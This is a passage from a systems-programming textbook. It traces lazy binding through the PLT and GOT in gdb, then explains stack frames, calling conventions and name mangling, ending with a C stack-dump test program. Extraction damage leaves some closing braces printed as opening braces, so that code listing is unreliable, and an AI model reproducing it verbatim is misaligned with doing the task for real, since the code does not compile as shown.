 => 0x7ffff7df030c <_dl_runtime_resolve+28>:    mov    %r8,0x28(%rsp) 
 (gdb)  si  
 42     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0311 <_dl_runtime_resolve+33>:    mov    %r9,0x30(%rsp) 
 (gdb)  si  
 43     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0316 <_dl_runtime_resolve+38>:    mov    0x40(%rsp),%rsi 
 (gdb)  si  
 44     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df031b <_dl_runtime_resolve+43>:    mov    0x38(%rsp),%rdi 
 (gdb)  si  
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 45     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0320 <_dl_runtime_resolve+48>:     callq  0x7ffff7de9d10  <dl_fixup> 
 (gdb)  si  
 _dl_fixup (l=0x7ffff7ffe1a8, reloc_arg=0) at ../elf/dl-runtime.c:66 
 1: x/i $pc 
 => 0x7ffff7de9d10 <_dl_fixup>: push %r12 
 (gdb)  set output-radix 16  
 Output radix now set to decimal 16, hex 10, octal 20. 
 (gdb)  watch *(int **)0x600ab8                                 
 #NOTE: Stops execution if the 8 bytes at address 0x600ab8 change.  
 Hardware watchpoint 2: *(int **)0x600ab8       
 (gdb)  continue  
 Continuing. 
 Hardware watchpoint 2: *(int **)0x600ab8                    
                                                          
 Old value = (int *)  0x400596  <f@plt+6>                   
 New value = (int *)  0x7ffff7bdb6c0  <f>                   
 #NOTE: The 8 bytes at address 0x600ab8 have been modified; now they don't point to the 
second instruction of f@plt(), but to the function f(). 
 _dl_fixup (l=<optimized out>, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:149 
 149 in ../elf/dl-runtime.c 
 1: x/i $pc 
 => 0x7ffff7de9e63 <_dl_fixup+339>:    add    $0x20,%rsp 
 (gdb)  print f                                                 
 $2 = {<text variable, no debug info>} 0x7ffff7bdb6c0 <f>  # Now the address of f() is known [  42  ] .    
 (gdb)  si  
 0x00007ffff7de9e67    149     in ../elf/dl-runtime.c 
 1: x/i $pc 
 => 0x7ffff7de9e67 <_dl_fixup+343>:     pop    %rbx 
 (gdb)  si  
 0x00007ffff7de9e68    149     in ../elf/dl-runtime.c 
 1: x/i $pc 
 => 0x7ffff7de9e68 <_dl_fixup+344>:   pop    %rbp 
 (gdb)  si  
 0x00007ffff7de9e69    149     in ../elf/dl-runtime.c 
 1: x/i $pc 
 => 0x7ffff7de9e69 <_dl_fixup+345>:   pop    %r12 
 (gdb)  si  
 0x00007ffff7de9e6b    149     in ../elf/dl-runtime.c 
 1: x/i $pc                                        
 => 0x7ffff7de9e6b <_dl_fixup+347>:    retq    # _dl_fixup() terminates and returns &f() in RAX. 
 (gdb)  si                                            
 _dl_runtime_resolve () at ../sysdeps/x86_64/dl-trampoline.S:46    # _dl_runtime_resolve() 

continues execution. 
 1: x/i $pc 
 => 0x7ffff7df0325 <_dl_runtime_resolve+53>:       mov    %rax,%r11    #Copies &f() to R11 
 (gdb)  si  

   42  Before startup, the command “ print f ” printed the address of  f@plt() .  
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 47     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0328 <_dl_runtime_resolve+56>:      mov    0x30(%rsp),%r9 
 (gdb)  si  
 48     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df032d <_dl_runtime_resolve+61>:      mov    0x28(%rsp),%r8 
 (gdb)  si  
 49     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0332 <_dl_runtime_resolve+66>:      mov    0x20(%rsp),%rdi 
 (gdb)   si    
 50     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0337 <_dl_runtime_resolve+71>:      mov    0x18(%rsp),%rsi 
 (gdb)  si  
 51     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df033c <_dl_runtime_resolve+76>:      mov    0x10(%rsp),%rdx 
 (gdb)   si    
 52     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0341 <_dl_runtime_resolve+81>:      mov    0x8(%rsp),%rcx 
 (gdb)  si  
 53     in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df0346 <_dl_runtime_resolve+86>:      mov    (%rsp),%rax 
 (gdb)  si  
 54      in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df034a <_dl_runtime_resolve+90>:      add    $0x48,%rsp 
 (gdb)  si  
 56      in ../sysdeps/x86_64/dl-trampoline.S 
 1: x/i $pc 
 => 0x7ffff7df034e <_dl_runtime_resolve+94>:       jmpq   *%r11              # Goes to f() 
 (gdb)  si  
 0x00007ffff7bdb6c0 in f () from ./libp2.so 
 1: x/i $pc 
 => 0x7ffff7bdb6c0  <f> : push %rbp [  43  ]                                       # Here f() starts 
 (gdb)  info symbol 0x400590  

 f@plt in section .plt of /home/g/p.bin 

 (gdb)  info symbol 0x00007ffff7bdb6c0  

 f in section .text of ./libp2.so 

 (gdb) 

   If the function  f()  were called again, the first instruction of  f@plt()  would immediately refer to 
 f()  because this time the section  .got.plt  contains the address of  f() , not the address of the second 
instruction of  f@plt() . 
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 If we remove the call to  f() , the code searching for the function address will never be executed. 
 To sum up, let’s see what the section  .got.plt  includes:    

•     GOT[0]  = *0x600aa0 = 0x6008b8 = address of the  .dynamic  section (see the output of 
 readelf -S p.bin ,  readelf -d p.bin ); it’s set by the static linker  ld .  

•    GOT[1]  = *0x600aa8 = 0x7ffff7ffe1a8 = second argument (the first is the stub-function 
index) passed to  _dl_runtime_resolve () to search for the address of  f ().  

•    GOT[2]  = *0x600ab0 = 0x7ffff7df02f0 = address of  _dl_runtime_resolve (). Both 
 GOT[1]  and  GOT[2]  have null values in  p.bin . They are initialized by the dynamic 
linker when  p.bin  starts execution.      

•    GOT[3]  = *0x600ab8 = 0x7ffff7bdb6c0 = address of function  f() ; its old value was 
0x400596 (= address of the second instruction of  f@plt ).  

•    GOT[4]  = *0x600ac0 = 0x7ffff7853a50 = address of  __libc_start_main ().  

•    GOT[5]  = *0x600ac8 = 0x4005b6 = address of  __gmon_start__@got.plt ()    

 Thanks to this ingenious trick, the code (which doesn’t need to be modified) can be shared, and the 
 .plt  section can be inserted in the text segment with attributes  AX . The dynamic linker only modifies the 
addresses included in the  .got.plt  section, in the data segment (with attributes  WA ). 

 This type of linking delays the search of a function address to the time at which the function is called for 
the first time. 

 That’s why it is called   lazy binding    ;  [  44  ]  it prevents wasting time and speeds up program execution. This 
leads to a considerable benefit since usually only few library functions are really used. 

 Any further call to the same function avoids a new search of the function address at the expense of an 
additional  JMP  instruction; to prove that we can modify  main()  by adding another call to  f() .The second 
call to f ()  develops like shown below, where the sequence of instructions is compared between static and 
dynamic linking. 

  Static linking     Dynamic linking   

  <main+20>: callq  400500 <f>    <main+20>: callq  400590 <f@plt>  
  <f@plt>:   jmpq   *0x200522(%rip)  

  <f>:       push   %rbp  
  <f+1>:     mov    %rsp,%rbp  
  ...        ...  

  <f>:       push   %rbp  
  <f+1>:     mov    %rsp,%rbp  
  ...        ...      

   The opposite of lazy binding is   eager linking      , which resolves all addresses without waiting for the first 
function call: 

    g.$  export LD_BIND_NOW=1                                # This command forces eager linking 
 g.$  LD_LIBRARY_PATH="." gdb p.bin  
 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 
 Copyright (C) 2014 Free Software Foundation, Inc. 
 ... 

   43  Now the code of function  f  is accessible: the command  disassemble f  doesn’t print the code of  f@plt()  anymore.  
   44  The term  lazy evaluation  has a more general meaning. It is often used to specify a calculation to be done only if 
necessary. As an example, in the logical expression A && B, the second operand is evaluated only if A is true.  
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 (gdb)  print f  
 $1 = {<text variable, no debug info>} 0x400590 <f@plt> 
 (gdb)  break *0x400590  
 Breakpoint 1 at 0x400590 
 (gdb)  display/i $pc  
 (gdb)   run    
 Starting program: /home/g/p.bin 

   Breakpoint 1, 0x0000000000400590 in f@plt () 
 1: x/i $pc 
 => 0x400590 <f@plt>:   jmpq   *0x200522(%rip)     # 0x600ab8 <f@got.plt> 
 # NOTE: The ".got.plt" section includes the address of f(), therefore the first instruction 
of f@plt() refers to f(), not to the 2nd instruction of f@plt(). 
 (gdb)  si  
 0x00007ffff7bdb6c0 in f () from ./libp2.so         
 1: x/i $pc                                        
 => 0x7ffff7bdb6c0 <f>:   push  %rbp               
 (gdb)                                             

         Summary 
 The two main topics that have been addressed in this chapter are executables and libraries. 

 Executable programs contain instructions coded in machine language, which are therefore directly 
executable by the processor. They are created by linkers, which join together the object files resulting from 
the compilation of source code and ready-to-use libraries. In addition to binary code, object files contain 
information for the linker, including a list of global symbols (names of variables and functions). 

 Libraries are collections of programs to be easily reused; they, too, contain executable code, but 
cannot start by themselves. Library programs need to be called by either standalone programs or other 
library programs. Libraries can be divided into two main grades: static and dynamic (or “shared”). Static 
libraries are created by the  ar  command, which collects more object files (also called  modules ) to create 
one single file with extension  .a . They are used to create portable programs, but every change requires 
code recompilation to include the newer libraries. Dynamic libraries (with extension  .so ) are linked to 
executables only at execution time, which allows smaller file sizes and easier updates. This way there is 
no need to recompile source files, because at next startup each program is automatically linked to the last 
version of each library. On the other hand this slows down the startup process because the linker has to 
repeat the linking step each time a new execution takes place. 

 We created a very simple test program using a library containing only one function to dive into the 
complexity of the subject, namely how dynamic linking works and how executables interact with libraries. 
We have seen that the use of the Global Offset Table makes code more complex but allows us to separate 
code from data, mark it as read-only, and safely share it between processes. The Procedure Linkage Table 
allows library functions to be addressed without the need of changing the executable code, by means of what 
are called   stub-functions    used by executables to call the library functions indirectly.      
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    CHAPTER 5   

 Stack Frames                          

 This chapter takes us deep into the heart of the book to explore the  stack frame layout   of function calls. 
To this end we need a clear, in-depth understanding of what happens when one function calls another, 
particularly how data are passed from caller to callee and how the memory content changes when functions’ 
data are pushed to the current process’ memory; this is the main subject of the first part of this long chapter. 

 Then we will create an executable test file on each of the Linux distributions that were selected in 
Chapter   2    . This is the longest and the most interesting part of the chapter, allowing us to take a deep look 
inside stack frames. The information obtained from the output of our programs has no general interest, 
since it refers to a few specific examples, but the investigation methods can be applied to any other operating 
system with small changes, if needed. 

 For a deeper study of this topic and a closer look at how software specifications are actually put into 
practice, we will continue the low-level focus introduced in Chapter   4    , by using the assembly language and 
a debugger. Therefore it’s time to install a C compiler ( gcc  or  clang ; having both is best), and we also need a 
debugger ( gdb ) and an assembler ( gas ). Their official manuals can be accessed through the following  links  :

    gcc :    https://gcc.gnu.org/onlinedocs/gcc/       

   clang :    http://clang.llvm.org/docs/UsersManual.html       

   gdb :    https://sourceware.org/gdb/current/onlinedocs/gdb/       

   gas :    https://sourceware.org/binutils/docs/as/         

 Finally, in the last part of this chapter a few examples will show how to use some of the information 
we have obtained. We’ll also briefly mention shellcodes and stack overflow attacks. Compared to previous 
chapters, this discussion makes more extensive use of illustrations and text layout variations, including 
formatting program output for clarity and focus. Diagrams provide visual summaries showing the run-time 
storage organization of stack frames. It’s strongly recommended that you implement all operations on your 
own personal computer. It will take some time, but it’s worth it. 

     Call Stacks 
 A  process  (or  task )    is an instance of a program already loaded into memory and running. It includes a copy of 
the code and some information about its own activity (amount of memory occupied, number of files used, 
and so on). If the same program is started more than once, different processes are generated, each with its 
own   PID    (Process  IDentifier  ). 

 The  call stack  of a process is a memory area containing parameters, local variables, and the return 
addresses of its active functions. Sometimes even the return values are passed on the stack, depending on 
the   calling convention    adopted by the compiler (as we’ll see later). 

http://dx.doi.org/10.1007/978-1-4842-2181-5_2
http://dx.doi.org/10.1007/978-1-4842-2181-5_4
https://gcc.gnu.org/onlinedocs/gcc/
http://clang.llvm.org/docs/UsersManual.html
https://sourceware.org/gdb/current/onlinedocs/gdb/
https://sourceware.org/binutils/docs/as/
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 The  call stack  (or simply  the stack ) belongs to the related process. At process startup, the stack is 
allocated a fixed size in virtual memory by the operating system. When the process terminates, its stack is 
freed. It would be more accurate to say “the stack of a thread” because each process thread has its own stack, 
but here we ignore multithreaded programming; for our purposes a process is made up of only one thread 
and has only one stack. 

 We can imagine the stack as a pile of objects, of which the last inserted (on the top) will be the first to be 
extracted (so we say it has LIFO  logic  :  Last In, First Out ). 

 The top of the stack is addressed by the  rSP   (Stack Pointer)  register. This is  ESP  or  RSP , depending on the 
operating system (for x86 or x64 processors). In this chapter it will be often shortened to  SP , mostly in the 
illustrations. 

 In nearly all operating systems, the stack grows down ward ; that is, the address of a new object added to 
the stack is lower than that of the preceding. For this reason the stack is sometimes graphically represented 
as an inverted pile; each new object is placed under the preceding. 

 To sum up, we can choose either of the two graphical representations shown in Figure  5-1    .  

 Both diagrams tell us the same thing: the last inserted object has the lowest address and is pointed to by 
the  SP  register. To avoid confusion, we do not say that an object is “over” or “under” another, but “on the left” 
(at a lower address) or “on the right” (at a higher address) of another. 

 Let us not forget that these are only schematic graphical representations; for example, we could deduce 
that all stack objects have the same size, but that would not be true, as we’ll see later. It is hard to say which 
of the two representations is better. It could be noted that a program for printing the stack contents needs 
more than one line, because of the limited width of monitors and paper sheets. 

 So, bytes with higher addresses are printed below those with lower 

addresses:      

  As a consequence, if the stack is represented like an inverted pile (see the right image in Figure  5-1 ), 
walking toward increasing addresses leads us up in the graphical representation and down in the text data 
(memory dump). In both cases, thinking of the stack as a vertical pile may suggest false conclusions, so it’s 
better to avoid it. 

  Figure 5-1.     Graphical representations   of the stack       
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 Figure  5-2  provides a closer  graphical representation  , even more intuitive.  

 Some people might become confused about the internal order of objects. For example, if the address 
of any new object is lower than that of the preceding, is the address of the second element of an array lower 
than the first? The answer is No. The internal layout of objects (arrays, variables, and so on) doesn’t depend 
on the stack layout. The stack order is not related to the bit order of bytes, or to the byte order ( endianness ) of 
a variable, the element order of arrays, or any other order. 

 Therefore, according to the little-endian encoding adopted by Intel x86 processors, the  least-significant 
byte (LSB)   of a variable is always stored at the lowest address, and the  most-significant byte (MSB)   at the 
highest address; it doesn’t matter if the stack grows upward or downward (see Figure  5-3 ).  

 It’s a simple and fast operation to add  (push ) an object to the stack, as well as to extract it ( pop ): after 
the object has been copied to or from the stack, the value of the  SP  register is decreased or increased. For 
example, the extraction of one  n -byte sized element is done by copying  n  bytes from the address saved in 
the SP register to the destination register, and then adding  n  to  SP . These two elementary operations use the 
assembly instructions  push  and  pop .  

     Stack Frames 
 The portion of the stack (which must be a multiple of one paragraph) containing parameters (or their 
copies), local variables, and the return address of a given function will be called the  stack frame  (or 
  activation record   ) of that function. This is not the standard  definition   (as we’ll see later). 

 When a function  C()  calls another function  F() , or another instance of itself, the stack frame of  F()  is 
created after that of  C() , at a lower address. 

 Every function, including  main() , has one stack frame; this is true even for recursive functions; each 
instance is a distinct function, with its own stack frame, therefore with its own local variables. The stack 
frame of  main() , being the first, has the highest address. 

  Figure 5-2.    Another  graphical representation   of the stack; we’ll use this in the following discussion       

  Figure 5-3.    A four-byte integer’s internal order is independent of the stack  direction        

 

 



CHAPTER 5 ■ STACK FRAMES

92

 When a function, including  main() , terminates, its stack frame is removed from the stack. This means 
that internal static variables cannot be allocated on the stack; they would be removed at the end of the 
related functions. The stack frame is removed by increasing the value of the  SP  register. The value of  SP  
changes continuously because the stack pointer is always updated to point to the top of the stack, which 
grows when a function starts and shrinks when that function ends. 

 For this reason, compilers usually (not always) use the register  rBP [ 1 ] ( base pointer , also called   frame 
pointer          because it points inside the stack frame), which doesn’t change during function execution. The 
register  BP  is normally used as the reference point from which offsets of both local variables and parameters 
are calculated. 

 For a given function, during its execution the addresses of both parameters and local variables 
don’t change, as well as the address stored in  BP ; as a consequence, the offsets from  BP  don’t change, 
either. By contrast, the offsets from  SP  must be updated if  SP  changes because of a function call. 

 Figure  5-4  shows how new stack frames are allocated and where  SP  and  BP  point  to  .  

 Figure  5-5  shows in greater detail the stack frame of  F()  and specifically the offsets from  BP  and  SP .   

      Calling Conventions      
 A  calling convention  details how to call a function, particularly how to exchange data between caller and 
callee. The internal layout of stack frames depends on the calling convention, as well as on the compiler 
and its options. Calling conventions specify whether parameters must be stored in registers, in the stack, 
or in both of them, as well as the order in which arguments are passed, how the return value is passed to 
the caller, what registers must be preserved by the callee, whether the caller or the callee must remove 
parameters from the stack, and similar properties. 

  Figure 5-4.    Stack frames. Each new one is allocated at a  lower address         

  Figure 5-5.     Detailed view   of the last inserted stack frame       

   1   EBP  or  RBP , depending on the operating system architecture (32- or 64-bit). We’ll use  BP  for short.  
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 The registers preserved by the callee are said to be  nonvolatile . Before modifying these registers, the callee 
makes a backup copy to allow restoring their original values when it terminates; for this reason they are also 
known as  callee-saved registers . The caller can be sure that these registers will not be modified by the callee. 

 The remaining registers are called  volatile  (or  scratch registers ) because there is no guarantee that their 
values will not change. The caller must therefore make a backup copy before calling a function that might 
modify volatile registers (so they are also called  caller-saved registers ). 

 There are many calling conventions; the oldest and best-known, still supported by many x86 C 
compilers, is  cdecl   (C DECLaration)  which has many variants (many of which are not compatible even 
with each other). However, they all require arguments to be passed on the stack in reverse order (from the 
rightmost to the left) by the caller. 

 The argument passing order might differ from the argument evaluation order. For example, if we call 
 func(  expr1  ,   expr2  ) , the first expression ( expr1 ) may be evaluated either before or after the second; the 
calling convention only ensures that  expr2  will be pushed onto the stack before  expr1 . 

 If arguments are passed in reverse order, the callee can know the exact position of the first parameter; 
this is important if there are a variable number of them. When the callee terminates, the caller must clean 
the stack; this way it’s possible to call functions with a variable number of arguments, such as  printf() . The 
return value is passed to the caller through a register ( EAX  for integers and addresses, and similar values). 

 Other conventions require the stack to be cleaned by the callee, not by the caller; the most famous 
example is the  Pascal  convention, of which  s  tdcall  is a modern variant. In  stdcall  the argument passing 
order is from right to left; the opposite in Pascal. 

 However, both of them expect a fixed number of parameters for every function; therefore the  code      is 
slightly more compact and fast because the code for cleaning the stack appears only once inside the callee, 
not inside the caller (in which case it would be repeated after each call to the callee). 

 Having a fixed number of parameters allows compilers to easily calculate the required stack space; as a 
consequence, the callee can clean the stack before terminating. 

 Generally, a compiler may be asked to use a specific calling convention for a given function by adding in 
the function prototype an appropriate modifier, like  __cdecl  or  __attribute__((cdecl)) .[ 2 ] 

 If the requested convention is not supported, the related modifier will be ignored. This way, if the 
default calling convention changes, there is no effect on that function, whose calling convention will 
continue to be the one specified in the prototype.       

 The existence of so many conventions often makes it very difficult to put together files produced by 
different compilers. Executing them is even harder. 

 Actually, there are many more causes of incompatibilities; besides different object file formats, there are 
the naming conventions discussed next.  

     Naming Conventions 
 A  naming convention  (or  name decoration ,  name mangling ) determines  whether  the compiler must modify 
the names of objects and functions, and if so,  in what way.  The resulting names will be visible to the linker. 
This doesn’t apply to local variables, since they lose their names after compilation; they are placed on the 
stack and become accessible through their addresses, as in this example:  -12(%rbp) . 

 Even the naming convention, which is often considered part of the calling convention, is not unique; 
for example, some compilers prepend an underscore character (_) to names, while others don’t, whichever 
is the calling convention. 

 One task of the naming convention is solving possible ambiguities; take the case of the same declaration 
 static int nRow  included in more than one function: since they produce different variables, the compiler must 
assign different names, so it will use, for instance,  nRow.2501 ,  nRow.2502 , and so on. 

   2  For  gcc  see    https://gcc.gnu.org/onlinedocs/gcc-4.9.2/gcc/Function-Attributes.html     .  

https://gcc.gnu.org/onlinedocs/gcc-4.9.2/gcc/Function-Attributes.html
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 As it is with calling conventions, it’s possible to choose a nondefault naming convention for a single 
(nonlocal) variable[ 3 ] by adding before its name an appropriate modifier (for example,  __cdecl ). This is not 
always easy because documentation is often incomplete or even missing. 

 Programmers usually don’t care about naming conventions (or about calling conventions); who cares 
what the default is? It’s an internal detail; no matter if the compiler adds a character or a number to names. 

 But sometimes this information is necessary; let us think of a complex program made up of parts 
created by different compilers. In this case, we must verify that all modules use the same calling convention; 
otherwise if caller and callee manage the stack in different ways, the result could be catastrophic. 

 A way to avoid having the caller and callee adopt different calling conventions is to associate one default 
naming convention with each calling convention; this way the linker will not be able to assemble all parts 
if they use different conventions. This explains why the naming convention is often considered part of the 
calling convention. 

     Example: Calling a Fortran Function with a C Function 
 A very simple example is a C program that calls a function (let’s call it  sub ) written in the Fortran language. 
For our purposes,  sub()  can do nothing, but if we want to test the executable created by joining together the 
two modules, it’s better if  sub()  returns an integer (such as 123): 

 main.c  sub.f 

 int sub(); 
 int main() { 
 return sub(); 
 } 

 integer function sub() 
 sub=123 
 return 
 end 

     g.$ # Arch: x86_64, OS: Debian 8.2 (64-bit), compilers: gcc v. 4.9.2, gfortran v. 4.9.2 
 g.$  gcc -c main.c                                     # Creates the object file main.o 
 g.$  gfortran -ffree-form sub.f main.o -o main.bin       # Compiles sub.f, joins it to main.o[ 4 ] 
 main.o: In function `main': 
 main.c:(.text+0xa): undefined reference to `sub' 
 collect2: error: ld returned 1 exit status 
 g.$ 

   This sounds strange: the function  sub  exists; it can be found inside  sub.f . So why doesn’t the linker ( ld ) 
find that function? To see the names included in the object file  main.o , we can use the command  nm : 

   g.$  nm main.o                                 # For info: 'man nm' 
 0000000000000000 T main                      # T : The symbol is in the text (code) section 
                  U sub                       # U : The symbol ("sub") is not defined 
 g.$ 

   The same applies to  sub.o : 

   g.$  gfortran -ffree-form -c sub.f                         # Creates the object file sub.o 
 g.$  nm sub.o                                              # Lists the names in sub.o 
 0000000000000000 T sub_ 
 g.$ 

   3  If prefixed to a function name, the modifier selects the calling convention, which often includes the naming convention.  
   4  The option  -ffree-form  (“free format”) can be omitted if instructions start from column 7 (therefore each line of code 
starts with 6 spaces).  
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   So the mystery is solved: in  main.o  there is a call to a nonexistent function with name  sub ; in fact, the 
file  sub.o  has no symbol named  sub , but has one named  sub_ , which is different. The two compilers behave 
differently:  gfortran  appends an underscore character to function names, while  gcc  doesn’t change names. 
We can fix this by putting  sub_  in place of  sub  in  main.c : 

   int sub_(); 
 int main() { 
    return sub_(); 
 } 

   Now let’s compile and execute again: 

   g.$  gcc -c main.c  
 g.$  gfortran -ffree-form sub.f main.o -o main.bin  
 g.$  ./main.bin        # main.bin prints nothing; it returns 123 in EAX to the OS 
 g.$  echo $?            # The shell variable $? contains the number returned by the last command 
 123                  # OK, it works 
 g.$ 

        Example: Calling an Assembly Function with a C Function 
 In this second example the callee is written in assembly: 

 main.c  sub.s 

  int sub();  
  int main() {  

  return sub();  
  }  

  .globl sub  
  sub:  

  movl $123, %eax  
  ret  

     g.$  gcc main.c sub.s -o main.bin  
 g.$  ./main.bin  
 g.$  echo $?  
 123 
 g.$ 

   As we can see, on Debian it works. 
 But not on OS X: 

   g.$  gcc main.c sub.s -o main.bin                             # OS X 10.7, compiler gcc v. 4.2.1 
 Undefined symbols for architecture x86_64: 
   "_sub", referenced from: 
       _main in ccNmqruM.o 
 ld: symbol(s) not found for architecture x86_64 
 collect2: ld returned 1 exit status 
 g.$  gcc -c main.c                                          # Creates the object file main.o 
 g.$  nm main.o                                              # Lists the names in main.o 
 0000000000000028 s EH_frame0 
 0000000000000000 T _main 
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 0000000000000040 S _main.eh 
                  U _sub 
 g.$ 

   Here,  gcc  adds an underscore character before function names; as a consequence, the linker looks for a 
function named  _sub  without success. To get it to work, we can substitute  _sub  in place of  sub  in  sub.s : 

           .globl _sub 
 _sub: 
         movl $123, %eax 
         ret 

   Now, even on OS X the compilation succeeds: 

   g.$  gcc main.c sub.s -o main.bin  
 g.$  ./main.bin  
 g.$  echo $?  
 123 
 g.$ 

   But on Debian it doesn’t work! To make the program work on both operating systems, we may assign 
two names to the same function in  sub.s : 

 main.c  sub.s 

  int sub();  
  int main() {  

  return sub();  
  }  

  .globl sub  
  .globl _sub  

  sub:  
  _sub:  

  movl $123, %eax  
  ret  

   Another solution is to ask the compiler to use one given name in the assembly code. To this end we add 
in the C source an appropriate identifier near the callee name: 

 main.c  sub.s 

  int sub() asm("sub");  
  int main() {  

  return sub();  
  }  

  .globl sub  
  sub:  

  movl $123, %eax  
  ret  

   In both cases, the two source files ( main.c ,  sub.s ) can be compiled on both operating systems without 
errors. However, the file  main.bin  produced on Debian cannot start on OS X, and vice versa. When we try 
executing it,  bash  prints an error message: “bash: ./main.bin: cannot execute binary file.” There are other 
solutions (and other problems, above all the different calling conventions), but what we have seen is enough 
to suggest the complexity of the subject.   
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      Function Calls      
 The operations carried out to call a function depend on both the operating system and the compiler in use. 
Before examining in more detail the stack frame layout and calling conventions, it may be useful to highlight 
some common functioning features. When a function  c()  calls another function  f()  (in assembly:  call f ) 
the address contained in the r IP [ 5 ] ( Instruction    Pointer   ) register is copied onto the stack. 

 This address points to the next machine instruction to be executed; we will call it  RET  or  IP_C  because 
it points to the instruction of  c()  that follows the call to  f(). IP  is automatically copied to the stack by the 
 call  instruction; the address stored in  SP  is consequently decreased. Figure  5-6  shows where SP points just 
after the   call  instruction     .  

 The next number to be copied onto the stack after  IP  is the address stored in the  BP  register (discussed 
earlier in the chapter); we will call it  BP_C  because it points inside the stack frame of  c() . This operation 
decreases the value of  SP , which now points to the address just saved on the stack; see Figure  5-7 .  

 The addresses  IP_C , and  BP_C  saved on the stack will make it possible to continue executing  c()  when 
 f()  terminates. In the most general case, the function  f()  calls another function  g() , which in turn calls  h() , 
and so on:  c()  →  f()  →  g()  →  h()  → ... 

 We can associate a pair of addresses  IP_C ,  BP_C  with each call, making it possible to walk back ward  
through stack frames. The addresses  IP_C  are called  return addresses  each of them points to the caller’s 
instruction following the assembly instruction  call x . The addresses  BP_C  are called  dynamic links  because 
each of them points inside the caller’s stack frame. 

 The sequence of the dynamic links is called a  dynamic chain . Once the address contained in the  BP  
register has been saved on the stack,  BP  can be overwritten by the contents of  SP ; so now  BP = SP , therefore  BP  
too points to  BP_C , as illustrated in Figure  5-8 .  

  Figure 5-6.    The stack pointer after a   CALL  instruction            

  Figure 5-7.    After a  CALL  instruction the stack holds the  return addresses      of the caller       

   5   EIP  or  RIP , depending on the architecture (32- or 64-bit). We’ll use  IP  for short.  
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 Let’s keep in mind that  BP  is used as reference point for parameters and local variables; their offsets are 
positive or negative if they stay on the right (hence at greater addresses) or on the left of  BP_C . For instance, 
on a 32-bit operating system the address of  IP_C  is  BP +4 (in the diagrams a square represents one byte). 

 Last, local variables and parameters are allocated on the stack. For the function  f ( int p1 ,  int p2 ) {  int 
v1 ,  v2 ,  v3 ; ... } the stack frame could be something like the one shown in Figure  5-9 .  

 The register  SP  points to the low byte of the parameter  p2  or to another byte with a lower address. This 
happens when  f()  calls another function  g()  whose stack frame is created to the left of the one related to  f() . 

 That’s enough background information; what we know so far will let us go on. We have to build a simple 
program to investigate what’s inside stack frames in greater detail. The same program will also be useful for 
guessing which calling convention is currently used by a compiler. To this end the program has to print the 
contents of the run-time stack to localize its frames.  

     The  Test Program   
 The test program includes a few functions, each with some local variables:  main() , which calls  f1() , which 
in turn calls  f2() . We also define other service functions:  Dump() ,  getBP() , and  getSP() . The program will be 
compiled on various x86/x64 operating systems; therefore it has to be generic enough to run on most of them. 

 To avoid changing the contents of the stack frames we must not activate optimization, since each 
compiler is free to arrange variables, no matter which calling convention is used. Optimization tries to 
minimize the code size and maximize the execution speed. For this purpose, compilers store data in 
registers ( BP  included) rather than on the stack. Therefore we should not be surprised to discover that stack 
frames only contain  IP_C  and some “empty spaces” needed to guarantee the correct alignment requested by 
the calling convention ( RSP  multiple of 16). 

 In particular, the compiler might not use the  rBP  register as a reference point for variables and 
parameters. Here is the  program code  : 

    /* 
  * stackDump.c 
  */ 
 #include <stdio.h>                         /* Contains prototypes of printf() and putchar() */ 
 #include <ctype.h>                         /* Contains the prototype of isprint() */ 
 #include <stdlib.h>                        /* Contains the prototype of atoi() */ 
 #include <inttypes.h>                      /* Defines uint16_t */ 

  Figure 5-9.    A possible  layout      of a stack frame       

  Figure 5-8.    Initializing the  base pointer      after a  CALL  instruction to become a reference point       
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   #define psize (int)sizeof(char *)          /* Pointer size */ 
 #define MAX_ROWS 20                        /* Default value of nRows */ 

   int nRows;                                 /* Max no. of lines to be printed by Dump() */ 

   unsigned char *getSP()                                                                 
    { 
    if(psize==8) __asm__("movq %rsp, %rax\ n \taddq $16, %rax"); 
    else         __asm__("movl %esp, %eax\ n \taddl $8, %eax"); 
    { 
 unsigned char *getBP()                                                                 
    { 
    if(psize==8) __asm__("movq (%rbp), %rax"); 
    else         __asm__("movl (%ebp), %eax"); 
    } 
 int Dump(unsigned char *p, unsigned char *q) 
    { 
    int c;    /* Character to be printed */ 
    int col;  /* Column no. */ 

      if(p==NULL || q==NULL || p>=q) return -1; /* Invalid parameters */ 
    printf("Dump:\n"); 
    for(col=1; p<q; col++,p++) 
       { 
       if(col==1) printf("..%04X > ", (uint16_t)p); 
       printf("%02X ", *p); /* Prints the code of character *p */ 
       if(col%4==0) putchar(' '); /* Separates two 4-byte groups with one space */ 
       if(col==16) 
          { /* Prints 16 characters on the right-side; converts to '.' if not printable */ 
          for(; col>0; col--) putchar( isprint(c=*(p-col+1))? c:'.' ); 
          putchar('\n'); 
          } 
       } 
    putchar('\n'); 
    return 0; 
    {    
 void f2(char p1, short int p2, int p3, long int p4) 
    { 
    int f2v1=0x31763266;                                                                 
    unsigned char *sp=getSP(); 
    unsigned char *bp=getBP();                                                           

      printf("Address of f2()   = %p\n\n", f2); 
    printf("f2: SP = %p\n    BP = %p\n\n", sp, bp); 
    if(Dump(sp, sp+nRows*16)) printf("f2: warning: Dump aborted\n"); 
    } 
 void f1(int p1) 
    { 
    char      f1v1=0x31;       /* "1"    */ 
    short int f1v2=0x3276;     /* "v2"   */ 
    int       f1v3=0x33763166; /* "f1v3" */ 
    long int  f1v4=0x34763166; /* "f1v4" */ 
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      printf("Address of f1() = %p\n", f1); 
